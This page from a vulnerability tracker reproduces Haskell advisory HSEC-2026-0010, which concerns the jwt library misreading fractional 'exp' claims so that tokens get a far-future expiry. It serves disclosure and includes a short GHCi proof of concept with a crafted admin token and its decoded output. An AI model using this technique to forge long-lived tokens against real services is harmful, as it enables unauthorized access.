HSEC-2026-0010

Vulnerability from osv_haskell – Published: 2026-09-29 14:22 – Updated: 2026-09-29 14:22 – Source website
VLAI
Summary
Improper parsing of fractional NumericDate from JWT exp claims
Details

Improper parsing of fractional NumericDate from JWT exp claims

Since its initial commit, package jwt uses Data.Scientific.coefficient to extract the fractional mantissa in a way that improperly discards the exponent. This can lead to incorrect parsing of the exp claim in JWT payload body.

PoC:

cabal repl --build-depends jwt==0.11.0

import Web.JWT
:set -XOverloadedStrings

let signer = VerifyHMACSecret "dummy-signing-symmetric-hmac-key.not-so-secret"
let exploit = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhvbmVzdCBKb2UiLCJhZG1pbiI6dHJ1ZSwiaWF0IjoxNzkwMTY2Nzg2LCJleHAiOjE3OTAxNzAzODYuMDAwMX0.xQyl3rBYtVTxPL_VXSawSSmZkuF4MzOkzwdQGJFjE2o"
-- {
--   "sub": "1234567890",
--   "name": "Honest Joe",
--   "admin": true,
--   "iat": 1790166786,
--   "exp": 1790170386.0001
-- }
λλ ➔ Just whoops = Web.JWT.decodeAndVerifySignature signer exploit
λ
λλ ➔ whoops
Verified (JOSEHeader {typ = Just "JWT", cty = Nothing, alg = Just HS256, kid = Nothing}) (JWTClaimsSet {iss = Nothing, sub = Just 1234567890, aud = Nothing, exp = Just (NumericDate 17901703860001), nbf = Nothing, iat = Just (NumericDate 1790166786), jti = Nothing, unregisteredClaims = ClaimsMap {unClaimsMap = fromList [("admin",Bool True),("name",String "Honest Joe")]}}) (Signature "xQyl3rBYtVTxPL_VXSawSSmZkuF4MzOkzwdQGJFjE2o")
λ
λλ ➔ fmap secondsSinceEpoch . Web.JWT.iat . claims $ whoops
Just 1790166786s
λ
λλ ➔ fmap secondsSinceEpoch . Web.JWT.exp . claims $ whoops
Just 17901703860001s

The encoded claim exp = 1790170386.0001 is: 1. Explicitly allowed by RFC 7519 section 2 to contain fractional part ("... non-integer values can be represented."); 2. Decodes correctly as 2026-09-23T12:33:06.0001 (including in JS implementations on jwt.io & token.dev); 3. Decodes incorrectly as 569252-05-30T12:40:01 (== posix epoch 17901703860001) by the jwt library. ```

import Data.Time.Format.ISO8601 import Data.Time.Clock.POSIX

iso8601Show $ posixSecondsToUTCTime 1790166786 "2026-09-23T12:33:06Z"

iso8601Show $ posixSecondsToUTCTime 17901703860001 "569252-05-30T12:40:01Z" `` This happens because jwt'sinstance FromJSON NumericDateonly extracts the parsedcoefficientwhile ignoring [base10Exponent`]scientific, which in this case becomes negative non-zero.

Since the standard exp claim carries credential expiration time:

### 4.1.4. "exp" (Expiration Time) Claim

The "exp" (expiration time) claim identifies the expiration time on or after which the JWT MUST NOT be accepted for processing. The processing of the "exp" claim requires that the current date/time MUST be before the expiration date/time listed in the "exp" claim.

— this parsing mistake of dropping the exponent can have security-relevant consequences, should an attacker be able to forge JWTs with fractional expiry dates and get them fed into software that uses the jwt library for consuming JWTs.


{
  "affected": [
    {
      "database_specific": {
        "human_link": "https://github.com/haskell/security-advisories/tree/main/advisories/published/2026/HSEC-2026-0010.md",
        "osv": "https://raw.githubusercontent.com/haskell/security-advisories/refs/heads/generated/osv-export/2026/HSEC-2026-0010.json"
      },
      "ecosystem_specific": {
        "affected_api": [
          {
            "module": "Web.JWT",
            "name": "decode"
          },
          {
            "module": "Web.JWT",
            "name": "decodeAndVerifySignature"
          }
        ]
      },
      "package": {
        "ecosystem": "Hackage",
        "name": "jwt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.1.0"
            },
            {
              "fixed": "0.12.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N/E:P/RL:W/RC:C/IR:H/MAV:N/MAC:H/MPR:N/MUI:N/MS:C/MC:N/MI:L/MA:N",
          "type": "CVSS_V3"
        }
      ]
    }
  ],
  "database_specific": {
    "home": "https://github.com/haskell/security-advisories",
    "osvs": "https://raw.githubusercontent.com/haskell/security-advisories/refs/heads/generated/osv-export",
    "repository": "https://github.com/haskell/security-advisories"
  },
  "details": "# Improper parsing of fractional `NumericDate` from JWT `exp` claims\n\nSince its [initial commit][], package jwt uses [`Data.Scientific.coefficient`][scientific] to extract the fractional mantissa in a way that improperly *discards the exponent*. This can lead to incorrect parsing of the `exp` claim in JWT payload body.\n\nPoC:\n\n```haskell\ncabal repl --build-depends jwt==0.11.0\n\nimport Web.JWT\n:set -XOverloadedStrings\n\nlet signer = VerifyHMACSecret \"dummy-signing-symmetric-hmac-key.not-so-secret\"\nlet exploit = \"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhvbmVzdCBKb2UiLCJhZG1pbiI6dHJ1ZSwiaWF0IjoxNzkwMTY2Nzg2LCJleHAiOjE3OTAxNzAzODYuMDAwMX0.xQyl3rBYtVTxPL_VXSawSSmZkuF4MzOkzwdQGJFjE2o\"\n-- {\n--   \"sub\": \"1234567890\",\n--   \"name\": \"Honest Joe\",\n--   \"admin\": true,\n--   \"iat\": 1790166786,\n--   \"exp\": 1790170386.0001\n-- }\n\u03bb\u03bb \u2794 Just whoops = Web.JWT.decodeAndVerifySignature signer exploit\n\u03bb\n\u03bb\u03bb \u2794 whoops\nVerified (JOSEHeader {typ = Just \"JWT\", cty = Nothing, alg = Just HS256, kid = Nothing}) (JWTClaimsSet {iss = Nothing, sub = Just 1234567890, aud = Nothing, exp = Just (NumericDate 17901703860001), nbf = Nothing, iat = Just (NumericDate 1790166786), jti = Nothing, unregisteredClaims = ClaimsMap {unClaimsMap = fromList [(\"admin\",Bool True),(\"name\",String \"Honest Joe\")]}}) (Signature \"xQyl3rBYtVTxPL_VXSawSSmZkuF4MzOkzwdQGJFjE2o\")\n\u03bb\n\u03bb\u03bb \u2794 fmap secondsSinceEpoch . Web.JWT.iat . claims $ whoops\nJust 1790166786s\n\u03bb\n\u03bb\u03bb \u2794 fmap secondsSinceEpoch . Web.JWT.exp . claims $ whoops\nJust 17901703860001s\n```\n\nThe encoded claim `exp = 1790170386.0001` is:\n1. Explicitly allowed by RFC 7519 [section 2][rfc-2] to contain fractional part (*\"... non-integer values can be represented.\"*);\n2. Decodes correctly as `2026-09-23T12:33:06.0001` (including in JS implementations on jwt.io \u0026 token.dev);\n3. Decodes incorrectly as `569252-05-30T12:40:01`  (== posix epoch `17901703860001`) by the `jwt` library.\n   ```\n   \u003e\u003e\u003e import Data.Time.Format.ISO8601\n   \u003e\u003e\u003e import Data.Time.Clock.POSIX\n   \u003e\u003e\u003e\n   \u003e\u003e\u003e iso8601Show $ posixSecondsToUTCTime 1790166786\n   \"2026-09-23T12:33:06Z\"\n   \u003e\u003e\u003e\n   \u003e\u003e\u003e iso8601Show $ posixSecondsToUTCTime 17901703860001\n   \"569252-05-30T12:40:01Z\"\n   ```\nThis happens because jwt\u0027s `instance FromJSON NumericDate` only extracts the parsed `coefficient` while ignoring [`base10Exponent`][scientific], which in this case becomes negative non-zero.\n\nSince the standard `exp` claim carries credential expiration time:\n\n\u003e  ### [4.1.4][rfc-4.1.4].  \"exp\" (Expiration Time) Claim\n\u003e \n\u003e    The \"exp\" (expiration time) claim identifies the expiration time on\n\u003e    or after which the JWT MUST NOT be accepted for processing.  The\n\u003e    processing of the \"exp\" claim requires that the current date/time\n\u003e    MUST be before the expiration date/time listed in the \"exp\" claim.\n\n\u2014 this parsing mistake of dropping the exponent can have security-relevant consequences, should an attacker be able to forge JWTs with fractional expiry dates and get them fed into software that uses the `jwt` library for consuming JWTs.\n\n[initial commit]: https://github.com/puffnfresh/haskell-jwt/commit/76567342c71f62f3f7554da8987579d90e532209\n[rfc-2]: https://www.rfc-editor.org/info/rfc7519/#section-2\n[rfc-4.1.4]: https://www.rfc-editor.org/info/rfc7519/#section-4.1.4\n[scientific]: https://hackage-content.haskell.org/package/scientific-0.3.8.1/docs/Data-Scientific.html#g:2\n",
  "id": "HSEC-2026-0010",
  "modified": "2026-09-29T14:22:37Z",
  "published": "2026-09-29T14:22:37Z",
  "references": [
    {
      "type": "REPORT",
      "url": "https://github.com/puffnfresh/haskell-jwt/issues/4"
    },
    {
      "type": "FIX",
      "url": "https://github.com/puffnfresh/haskell-jwt/pull/10"
    }
  ],
  "schema_version": "1.5.0",
  "summary": "Improper parsing of fractional NumericDate from JWT exp claims"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…